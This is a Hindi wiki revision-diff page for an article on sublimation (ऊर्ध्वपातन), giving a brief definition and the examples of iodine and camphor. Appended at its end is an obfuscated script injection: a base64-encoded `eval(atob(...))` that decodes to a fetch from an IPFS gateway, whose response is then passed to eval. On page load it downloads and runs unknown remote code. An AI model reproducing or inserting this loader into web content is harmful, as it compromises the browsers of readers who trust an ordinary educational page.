Difference between revisions of "ऊर्ध्वपातन"
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गोविन्द राम (talk | contribs) |
व्यवस्थापन (talk | contribs) m (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
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कुछ [[पदार्थ]] गर्म करने पर सीधे ठोस रूप से [[गैस]] बन जाते हैं, इसे ऊर्ध्वपातन कहते हैं। जैसे- [[आयोडीन]], कपूर आदि। | कुछ [[पदार्थ]] गर्म करने पर सीधे ठोस रूप से [[गैस]] बन जाते हैं, इसे ऊर्ध्वपातन कहते हैं। जैसे- [[आयोडीन]], कपूर आदि। | ||
| + | {{प्रचार}} | ||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार=आधार1 | |आधार=आधार1 | ||
Revision as of 11:41, 10 January 2011
(aangrezi:Sublimation) rasayan vijnan mean oordhvapatan vidhi dvara do aise thosoan ke mishran ko alag karate hai, jisamean ek thos oordhvapatit ho, doosara nahian. is vidhi se kapoor, nefthalin, amoniyam kloraid, eianthrasin adi ko alag karate haian.
kuchh padarth garm karane par sidhe thos roop se gais ban jate haian, ise oordhvapatan kahate haian. jaise- ayodin, kapoor adi.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>